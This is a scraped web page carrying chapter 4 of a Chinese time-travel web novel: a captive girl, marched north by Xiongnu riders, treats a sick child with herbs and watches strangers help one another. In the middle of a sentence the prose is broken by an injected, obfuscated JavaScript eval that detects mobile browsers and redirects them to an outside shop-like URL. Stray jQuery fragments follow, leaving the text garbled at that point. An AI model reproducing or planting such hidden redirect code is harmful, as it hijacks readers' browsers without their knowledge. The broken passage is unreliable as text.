默认冷灰
24号文字
方正启体

4. 第 4 章

作者:春荞本书字数:K更新时间:
    没过一会儿,匈奴人骑上马背,马首向北,冲灌木丛中的汉人甩甩鞭子,示意他们该继续往前走了,另有人骑马传入灌木丛,迫使这些不太想要继续前行的汉人走出灌木丛。


    人们在草地上重新聚拢在一起,往北前行,好在他们刚才歇息了一会儿,吃了些东西,多少有了些体力。


    昏暗的光线在地面勾勒出一条条缓慢移动的疲惫人影,挨挨挤挤的黑色人影漫过草原的缓坡,随着夕阳的余晖被地平线一点点吞没,这些人的影子也一点点越发佝偻下去。


    没走多远,野草和野菜提供的一点体力很快在行路中消耗干净,有些人疲惫中脚下打滑、跌跌撞撞,他们身边的人或多或少会搀扶一下,并没有发生庄翎偶然想过的踩踏事故。


    夜幕缓缓降下,行走的人们看不清彼此的面孔,直到骑在马背上的匈奴人确定自己看不清汉人的发髻,也确定他们完全消耗掉了这些汉人的体力,也无法看清周围的环境。骑兵千夫长这才呼哨一声,匈奴骑兵闻声驱赶马匹,一个追一个,首尾相连,围着汉人跑圈,然后这个圈子不断缩小,迫使他们不停相互靠近。


    人们手忙脚乱地往中间挤去,挤压之中避免不得碰撞推搡,谁打了谁,谁踩了谁的鞋子,都没办法。


    相继有人跌倒在地坐下来,骑在马背上的匈奴人见人们靠近得差不多了,停止缩圈,他们一边呵斥,一边用鞭子向下点,示意人们坐下来。


    大家陆陆续续都坐下来。


    庄翎和秋一起坐下,她们刚才一直紧紧拉着手,在拥挤之中没有被分开。秋在庄翎的左手边,她右手边是今天一直走在自己前面的带小孩儿的年轻女人,她刚才一直将孩子半护在怀抱里,母子二人紧紧相靠,现在也好好的靠坐在一起,年轻女人让孩子在自己和庄翎之间。


    那孩子已经昏昏欲睡了,坐在那里半闭着眼睛,一下下点头。


    庄翎伸手拍了拍那女子的手臂,夜色里女子抬头看向庄翎,她知道自己身边的是个十来岁的女孩儿,其实一路上也是看庄翎斯文安静,她才一直走在这女孩儿旁边的。


    庄翎从袖子里摸出两片蒲公英叶子,塞到对方手里。掌心的触感是一些干枯的叶子,这并不像充饥的食物,女子有些莫名。


    庄翎指了指她怀里的小孩儿的后背,画了一个鞭伤的形状,蒲公英可以消肿止痛。


    女子闻了闻手上干叶子,轻轻咬了一口。


    认出是蒲公英叶子,也是野菜的一种,没有毒,她将蒲公英干草叶嚼碎,敷在已经睡着的小孩儿背后的鞭伤上。


    孩子母亲低声对庄翎说:“谢谢。”


    庄翎闻声微微点头,也就学会了“谢谢”这个词。


    夜幕里,坐着的人们慢慢躺下来,地面干草浸着霜露,微微潮湿,人与人在拥挤之中相互依偎,倒也能感受到几分暖意。


    勉勉强强也还可以歇息吧。


    疲惫之中,人们相继入睡,有人打起鼾来。庄翎躺在地上,秋紧紧抱着她的一条胳膊,另一边是个小孩子挤在自己和孩子母亲之间,上下又都是同行人疲惫的呼吸声。


    她看向人群外围,匈奴人已经下了马,他们只留了几十个人在汉人附近守卫,其他的人远远点了一堆火,或是坐着或是躺下休息,他们的马匹也在附近趴伏。


    头顶是星空,两千年前的夜空格外晴朗清透,庄翎从未见过这么多的星星挂在一片天空上,一个挨着一个,到处都是,一闪一闪,像是钻石一样。身体很累,却睡不着,到了这时候,她才有空去想自己的事儿。


    穿越到了大约两千年前,她从一个现代女大学生,变成了一个被匈奴人从汉朝边境抓走的十三四岁小女孩儿,被他们当做奴隶,驱往部落。


    语言不通,没有办法和这里的人沟通,无法确定现在具体是哪一年,现在的皇帝是谁。


    没有原主的记忆,不知道原主是什么人,她现在又是什么身份,又是怎样被这些胡人骑兵抓走的。


    还有,这个女孩子,她还有亲人吗?


    她现在还活着吗?是否也如自己一般,重新生活在另一个世界上。


    北斗七星挂在天上,遥遥闪耀,庄翎闭上眼睛,暗暗为对方祈祷,希望这个女孩子能在一个没有战乱的世界继续生活下去,平安且幸福。


    而她自己,既来之则安之,尽管有些难,她也会好好对待这次来之不易的新生命。


    庄翎睁开眼睛,四野荒草莽莽,夜风从这些躺着的人身上刮过,一如从衰草上刮过,人鼾马哼声此起彼伏,寒露无声降落,衣衫渐渐变得潮湿。


    不知何时,秋已经睡去了,靠在她手臂旁轻轻打鼾,不远处的匈奴士兵,除了一二值夜者,余者也都靠着马匹蜷缩睡去。


    远处的火焰熄灭,只有零星火星在灰烬中一闪一闪,所剩无几。


    夜深了,狼的吼叫声在远方响起,一声一声,穿透草原的夜幕。


    匈奴守夜的士兵在草地上坐着,一边喝酒一边嚼肉,看上去没有过多的警惕,这些人习惯草原上的一切景物。


    庄翎不知道自己是什么时候睡着的。


    第二天早晨醒来,没有所谓的早饭,匈奴人驱赶他们继续往北走。


    人们迈着沉重的步伐北行,长时间行走,庄翎脚掌疼痛,小腿肿了一圈,秋也好不了多少,两个人互相搀扶着向前走,同行的汉人中有许多人也是这般相互搀扶前行,沉默之中,所有人都能感受到一阵阵的绝望。


    那个挨过鞭打的小孩儿早走不动了,他不敢哭,有时候他母亲背着他走了一段,有时候他自己走一段路,其实不论是他年轻瘦弱的母亲,还是这个年纪太过幼小的孩子,都只是勉强前行罢了。


    走着走着,又过了一两天,孩子的母亲已经用尽了体力,再也背不动这个孩子了,这孩子自己也走不动了,母子二人,相向流泪,孩子哭得极其难过。


    匈奴人没说可以停下,两个人却站在行进的队伍里互相看着彼此,不知是割舍还是告别,谁也不走。


    也许不知几时,匈奴人的鞭子就要甩过来了。


    恻然之中,大家又为这一对母子担心。


    汉人队伍中一个衣衫褴褛的瘦高男子走到二人身旁,一言不发,从地上提起那个小孩儿,放在自己的背后,跟随大家默默往前走去。


    孩子母亲走在对方身旁,一个劲儿地说:“谢谢,谢谢你!”


    那个男子并不算强壮,他长得高,却很瘦,长得一副营养不良的样子,胸骨高凸,粗手粗脚,背着孩子,步履之间他身形微微摇晃。


    明显他们不认识彼此,只是陌生人。


    他为什么要在这条漫长而痛苦的道路上背上一个不认识的孩子?


    匈奴人的鞭子就在一旁舞动,大家都清楚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494273|202393||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    往后再不会有任何好日子过,帮助一个人又能怎么样呢?当真无心无法去期盼任何报偿。


    看见这一幕的人都知道,这个男子这样做,只是善良而已。


    庄翎目光久久地停留在这一对母子还有这个瘦高男子身上,她习惯了现代人小心谨慎的善良和冷漠,已经很久没见过这样不计回报没有顾虑的善意了。


    她想着这些,内心像是被注入了新的力量。


    她扶了一把身旁摇摇晃晃的秋,对她说:“坚持一下。”


    从清晨到黄昏,那个孩子身下又换过两个陌生人的肩膀,有时候孩子自己也走一小段路,孩子母亲有时也背他一段路。


    大家就这样往前走,每天走五六十里路程。


    一天之中,总有那么一两回,匈奴人让汉人们停下来,找些野草野菜吃一吃,或是喝一点水。


    不知不觉,人们都这样走了好几天。一天天过去,越是往北,秋意越深,北风越硬,天气越来越冷。


    第三天,那个被人们轮流背在背后的小孩子身上发起热来,背着这孩子的人将小孩儿抱手里,向孩子母亲展示这孩子红红的额头、红红的脸颊。


    说道:“要是不行,就将孩子留在这里吧,她没有命受以后的苦,未尝不是一件好事。”


    几天时间里,大家也都知道这个孩子是个小女孩儿,一个被匈奴人抓来的奴隶,年龄这样小,还是个女孩儿,谁也不知道这孩子以后能活到哪一天,更无法想象这孩子未来会是何等悲苦。这些几天中,看见这孩子的人们,虽然不说,目光中总是笼罩着一层悲哀。


    孩子母亲也不否认对方的话,只是,她看着对方手里那个小小的孩子,乖乖闭着眼睛,瘦了一圈的小脸红彤彤的,身体软绵绵的,好像任由命运怎样安排都好。


    多可怜,多可爱的孩子啊!


    一个母亲,她怎么舍得?


    孩子母亲劈手夺回高烧昏迷的孩子,将没有意识的孩子紧紧抱在怀里。看起来,就算这孩子死掉,她也决不肯放手。


    行路几日,庄翎的腿僵硬似木棍,脚走出血来,她迈着疼痛的步伐,走到孩子母亲身边,从袖中取出白色手帕,打开来,从自己这几天陆续捡来的草药中挑选一些拿在手里,拍了拍孩子的母亲,见对方抬头,指了指她怀里的孩子,将草药递过去。


    孩子母亲半信半疑地从庄翎手中接过草药,看着冷静的庄翎,心想这女孩儿也许是个巫医,只是……她这么小的年纪真的是有医术的巫医吗?


    也是死马当活马医,这位母亲将草药塞到嘴里嚼碎,吐出来喂到昏睡的孩子嘴巴里。


    在接下来的路程里,庄翎也会留心地面,从差不多衰败的野草中捡拾摘取一些能治疗风寒的药材,比如麻黄、柴胡、香薷、葛根等等。


    没办法配出一整副汤药,她也只是恰好认识几味治疗感冒的草药而已。


    庄翎没有说自己真不会配药的事情。


    好在,这孩子在服药第二天也慢慢退烧,渐渐也恢复些精神和力气。


    眼看孩子渐渐好转,她提起的心,悄悄放下来一些。


    行路的第六天,他们走在草地上,望见了匈奴人的毡帐,就在不远处,一座座白色圆形毡帐点缀在草地上。


    不知不觉,他们来到了匈奴人的部落。


    还活着的人脚步顿了一下,被迫往前走去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)